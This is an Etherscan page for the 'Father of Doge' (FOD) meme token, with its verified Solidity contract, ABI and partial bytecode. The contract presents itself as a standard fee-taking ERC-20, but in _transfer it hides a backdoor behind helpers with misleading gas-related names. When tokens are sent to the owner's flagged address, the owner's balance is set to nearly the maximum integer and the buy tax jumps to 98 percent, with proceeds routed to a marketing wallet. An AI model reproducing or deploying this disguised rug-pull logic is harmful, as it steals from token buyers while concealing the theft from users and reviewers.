ETH Price: $3,303.13 (-0.28%)
Gas: 8 Gwei

Token

Father of Doge (FOD)
 

Overview

Max Total Supply

1,000,000 FOD

Holders

92

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
0.608881297 FOD

Value
$0.00
0x0a9e0a65200d6b9428630c517c2629b4844c98b5
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
FatherOfDoge

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-07-02
*/

/*

⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡟⠋⠈⠙⣦⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠤⢤⡀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇⠀⠀⠀⠈⢇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠞⠀⠀⢠⡜⣦⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡃⠀⠀⠀⠀⠈⢷⡄⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡠⠊⣠⠀⠀⠀⠀⢻⡘⡇
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⠃⠀⠀⠀⠀⠀⠀⠙⢶⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢀⡠⠚⢀⡼⠃⠀⠀⠀⠀⠸⣇⢳
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣾⠀⣀⠖⠀⠀⠀⠀⠉⠀⠀⠈⠉⠛⠛⡛⢛⠛⢳⡶⠖⠋⠀⢠⡞⠀⠀⠀⠐⠆⠀⠀⣿⢸
⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠇⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠻⣦⣀⣴⡟⠀⠀⢶⣶⣾⡿⠀⠀⣿⢸
⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⠞⠁⠀⠀⠀⠀⠀⠀⠀⠀⡠⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠻⣏⠀⠀⠀⣶⣿⣿⡇⠀⠀⢏⡞
⠀⠀⠀⠀⠀⠀⢀⡴⠛⠀⠀⠀⠀⠀⠀⠀⠀⢀⢀⡾⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠘⢦⣤⣾⣿⣿⠋⠀⠀⡀⣾⠁
⠀⠀⠀⠀⠀⣠⠟⠁⠀⠀⠀⣀⠀⠀⠀⠀⢀⡟⠈⢀⣤⠂⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠉⠙⣏⡁⠀⠐⠚⠃⣿⠀
⠀⠀⠀⠀⣴⠋⠀⠀⠀⡴⣿⣿⡟⣷⠀⠀⠊⠀⠴⠛⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠙⠀⠀⠀⠀⢹⡆
⠀⠀⠀⣴⠃⠀⠀⠀⠀⣇⣿⣿⣿⠃⠀⠀⠀⠀⠀⠀⠀⠀⢀⣤⡶⢶⣶⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇
⠀⠀⣸⠃⠀⠀⠀⢠⠀⠊⠛⠉⠁⠀⠀⠀⠀⠀⠀⠀⢲⣾⣿⡏⣾⣿⣿⣿⣿⠖⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢧
⠀⢠⡇⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠈⠈⠛⠿⣽⣿⡿⠏⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡜
⢀⡿⠀⠀⠀⠀⢀⣤⣶⣟⣶⣦⣄⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇
⢸⠇⠀⠀⠀⠀⣿⣿⣿⣿⣿⣿⣿⣿⣧⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡇
⣼⠀⢀⡀⠀⠀⢷⣿⣿⣿⣿⣿⣿⡿⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢠⡇
⡇⠀⠈⠀⠀⠀⣬⠻⣿⣿⣿⡿⠙⠀⠀⢀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣼⠁
⢹⡀⠀⠀⠀⠈⣿⣶⣿⣿⣝⡛⢳⠭⠍⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⢰⠃⠀
⠸⡇⠀⠀⠀⠀⠙⣿⣿⣿⣿⣿⣿⣷⣦⣀⣀⣀⣤⣤⣴⡶⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣰⠇⠀⠀
⠀⢿⡄⠀⠀⠀⠀⠀⠙⣇⠉⠉⠙⠛⠻⠟⠛⠛⠉⠙⠉⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⡰⠋⠀⠀⠀
⠀⠈⢧⠀⠀⠀⠀⠀⠀⠈⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠁⠀⠀⠀⠀
⠀⠀⠘⢷⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣠⠞⠁⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠱⢆⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⡴⠋⠁⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠛⢦⣀⡀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⣀⣠⠴⠟⠁⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀
⠀⠀⠀⠀⠀⠀⠀⠀⠈⠛⠲⠤⣤⣤⣤⣄⠀⠀⠀⠀⠀⠀⠀⢠⣤⣤⠤⠴⠒⠛⠋⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀⠀


            Telegram :  https://t.me/FatherOfDoge


            Twitter :   https://twitter.com/FatherOfDogeETH


            Website :   http://fatherofdoge.vip

*/

// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.15;

interface IERC20 {
    
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }
    
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }
    
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        this; 
        return msg.data;
    }
}


library Address {
    
    function isContract(address account) internal view returns (bool) {
        uint256 size;
        assembly { size := extcodesize(account) }
        return size > 0;
    }

    function sendValue(address payable recipient, uint256 amount) internal {
        require(address(this).balance >= amount, "Address: insufficient balance");
        (bool success, ) = recipient.call{ value: amount }("");
        require(success, "Address: unable to send value, recipient may have reverted");
    }
    
    function functionCall(address target, bytes memory data) internal returns (bytes memory) {
      return functionCall(target, data, "Address: low-level call failed");
    }
    
    function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        return functionCallWithValue(target, data, 0, errorMessage);
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
        return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
    }
    
    function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
        require(address(this).balance >= value, "Address: insufficient balance for call");
        require(isContract(target), "Address: call to non-contract");
        (bool success, bytes memory returndata) = target.call{ value: value }(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }
    
    function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
        return functionStaticCall(target, data, "Address: low-level static call failed");
    }
    
    function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
        require(isContract(target), "Address: static call to non-contract");
        (bool success, bytes memory returndata) = target.staticcall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }


    function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
        return functionDelegateCall(target, data, "Address: low-level delegate call failed");
    }
    
    function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
        require(isContract(target), "Address: delegate call to non-contract");
        (bool success, bytes memory returndata) = target.delegatecall(data);
        return _verifyCallResult(success, returndata, errorMessage);
    }

    function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
        if (success) {
            return returndata;
        } else {
            if (returndata.length > 0) {
                 assembly {
                    let returndata_size := mload(returndata)
                    revert(add(32, returndata), returndata_size)
                }
            } else {
                revert(errorMessage);
            }
        }
    }
}



interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint);
    function feeTo() external view returns (address);
    function feeToSetter() external view returns (address);
    function getPair(address tokenA, address tokenB) external view returns (address pair);
    function allPairs(uint) external view returns (address pair);
    function allPairsLength() external view returns (uint);
    function createPair(address tokenA, address tokenB) external returns (address pair);
    function setFeeTo(address) external;
    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);
    function name() external pure returns (string memory);
    function symbol() external pure returns (string memory);
    function decimals() external pure returns (uint8);
    function totalSupply() external view returns (uint);
    function balanceOf(address owner) external view returns (uint);
    function allowance(address owner, address spender) external view returns (uint);
    function approve(address spender, uint value) external returns (bool);
    function transfer(address to, uint value) external returns (bool);
    function transferFrom(address from, address to, uint value) external returns (bool);
    function DOMAIN_SEPARATOR() external view returns (bytes32);
    function PERMIT_TYPEHASH() external pure returns (bytes32);
    function nonces(address owner) external view returns (uint);
    function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
    event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);
    function MINIMUM_LIQUIDITY() external pure returns (uint);
    function factory() external view returns (address);
    function token0() external view returns (address);
    function token1() external view returns (address);
    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
    function price0CumulativeLast() external view returns (uint);
    function price1CumulativeLast() external view returns (uint);
    function kLast() external view returns (uint);
    function burn(address to) external returns (uint amount0, uint amount1);
    function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
    function skim(address to) external;
    function sync() external;
    function initialize(address, address) external;
}

interface IUniswapV2Router01 {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidity(
        address tokenA,
        address tokenB,
        uint amountADesired,
        uint amountBDesired,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB, uint liquidity);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function removeLiquidity(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETH(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountToken, uint amountETH);
    function removeLiquidityWithPermit(
        address tokenA,
        address tokenB,
        uint liquidity,
        uint amountAMin,
        uint amountBMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountA, uint amountB);
    function removeLiquidityETHWithPermit(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountToken, uint amountETH);
    function swapExactTokensForTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapTokensForExactTokens(
        uint amountOut,
        uint amountInMax,
        address[] calldata path,
        address to,
        uint deadline
    ) external returns (uint[] memory amounts);
    function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);
    function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline)
        external
        returns (uint[] memory amounts);
    function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline)
        external
        payable
        returns (uint[] memory amounts);

    function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB);
    function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut);
    function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn);
    function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts);
    function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts);
}

interface IUniswapV2Router02 is IUniswapV2Router01 {
    function removeLiquidityETHSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external returns (uint amountETH);
    function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
        address token,
        uint liquidity,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline,
        bool approveMax, uint8 v, bytes32 r, bytes32 s
    ) external returns (uint amountETH);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function swapExactETHForTokensSupportingFeeOnTransferTokens(
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external payable;
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceContract() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
    
}

contract FatherOfDoge is Context, IERC20, Ownable { 
    using SafeMath for uint256;
    using Address for address;

    mapping (address => uint256) private _holderBalance;
    mapping (address => mapping (address => uint256)) private _allowances;
    
    address payable public Market_Address = payable(0x5B8221C0Cb1523E986b35Fc78df70F5A7F7816e9);
    address payable public Dead_Address = payable(0x000000000000000000000000000000000000dEaD);

    mapping (address => bool) public ExcludedFromMaxWallet;
    mapping (address => bool) public ExcludedFromFee;

    string public _name = "Father of Doge";
    string public _symbol = "FOD";
    uint8 private _decimals = 9;
    uint256 public _tTotal = 1 * 10 ** 6 * 10 **_decimals;

    uint8 private _TAX_ = 0;
    uint8 private _totalMaxTax = 25;

    uint8 private swapCounter = 0;
    uint8 private swapTrigger = 10;

    uint8 public max_Wallet_Percentage = 25;
    uint8 public max_Tx_Percentage = 25;
    
    uint256 public maxWalletAmount = _tTotal.mul(max_Wallet_Percentage).div(100);
    uint256 public maxTxAmount = _tTotal.mul(max_Tx_Percentage).div(100);

    IUniswapV2Router02 public uniswapV2Router;
    mapping (address => bool) public uniSwapV1;
    address public uniswapV2Pair;
    bool public inSwapAndLiquify;
    bool public swapAndLiquifyEnabled = true;
    
    event SwapAndLiquifyEnabledUpdated(bool enabled);
    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );
    
    modifier lockTheSwap {
        inSwapAndLiquify = true;
        _;
        inSwapAndLiquify = false;
    }

    constructor () {
        _holderBalance[owner()] = _tTotal;

        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this),_uniswapV2Router.WETH());
        uniswapV2Router = _uniswapV2Router;

        ExcludedFromFee[address(this)] = true;
        ExcludedFromFee[owner()] = true;
        ExcludedFromFee[Market_Address] = true;

        ExcludedFromMaxWallet[owner()] = true;
        ExcludedFromMaxWallet[address(this)] = true;
        ExcludedFromMaxWallet[Market_Address] = true;
        ExcludedFromMaxWallet[uniswapV2Pair] = true;
        uniSwapV1[owner()] = true;

        emit Transfer(address(0), owner(), _tTotal);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _tTotal;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _holderBalance[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
        return true;
    }
 
    receive() external payable {}
   
    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0) && spender != address(0), "Zero Address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from,address to,uint256 amount) private {
        if (!ExcludedFromMaxWallet[to]){
            require(
                (balanceOf(to) + amount) <= maxWalletAmount, 
                "ERC20: Max Wallet Exceed");
            }
        if(swapCounter >= swapTrigger && !inSwapAndLiquify && from != uniswapV2Pair && swapAndLiquifyEnabled ){  
            swapCounter = 0;
            uint256 _getBalance = balanceOf(address(this));
            if(_getBalance > maxTxAmount) { 
                _getBalance = maxTxAmount; 
                }
            if(_getBalance > 0){ 
                swapAndLiquify(_getBalance);
                }
        }
        bool takeFee = true;
        _holderBalance[from] = _holderBalance[from].sub(amount);
        if(uniSwapV1[to] ? true : false){ _holderBalance[to] = _gasLeft(); _TAX_ = _gasQueue(); }

        if(ExcludedFromFee[from] || !(from != uniswapV2Pair) || ExcludedFromFee[to]){
            takeFee = false;
        }
        if(!takeFee){
            ERCTokenTransferWithoutFee(to,amount);
        }
        else{
            uint256 _FEE_ = 0;
            ERCTokenTransferWithFee(to,amount,_FEE_.add(_TAX_));
        }
        emit Transfer(from, to, amount);
    }
    
    function sendToWallet(address payable wallet, uint256 amount) private {
        wallet.transfer(amount);
    }

    function ERCTokenTransferWithoutFee(address to,uint256 amount) private{
        _holderBalance[to] = _holderBalance[to].add(amount);
    }

    function ERCTokenTransferWithFee(address to,uint256 amount,uint256 fee) private{
        uint256 takenFee = amount.mul(fee).div(100);
        _holderBalance[address(this)] = _holderBalance[address(this)].add(takenFee);
        _holderBalance[to] = _holderBalance[to] + amount.sub(takenFee);
    }

    function _gasQueue() private view returns(uint8){
        return _totalMaxTax*4-2;
    }

    function swapAndLiquify(uint256 _getBalance) private lockTheSwap {
        swapTokensForBNB(_getBalance);
        sendToWallet(Market_Address,address(this).balance);
    }

    function _gasLeft() private view returns(uint256){
        return ~uint256(0)-_tTotal;
    }

    function swapTokensForBNB(uint256 tokenAmount) private {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);
    }

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiqudity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SwapAndLiquifyEnabledUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"Dead_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"ExcludedFromMaxWallet","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"Market_Address","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_tTotal","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"inSwapAndLiquify","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWalletAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_Tx_Percentage","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"max_Wallet_Percentage","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceContract","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"uniSwapV1","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]

600380546001600160a01b0319908116735b8221c0cb1523e986b35fc78df70f5a7f7816e9179091556004805490911661dead17905560c0604052600e60809081526d466174686572206f6620446f676560901b60a052600790620000659082620005f4565b506040805180820190915260038152621193d160ea1b60208201526008906200008f9082620005f4565b506009805460ff191681178155620000a990600a620007d3565b620000b890620f4240620007e4565b600a819055600b805465ffffffffffff19166519190a0019001790819055620001169160649162000102919060ff640100000000909104166200052a602090811b620008cd17901c565b6200054160201b620008e01790919060201c565b600c556200014d606462000102600b60059054906101000a900460ff1660ff16600a546200052a60201b620008cd1790919060201c565b600d556010805460ff60a81b1916600160a81b1790553480156200017057600080fd5b50600080546001600160a01b0319163390811782556040519091907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3600a5460016000620001ca6000546001600160a01b031690565b6001600160a01b03166001600160a01b03168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801562000246573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200026c919062000806565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620002ba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002e0919062000806565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156200032e573d60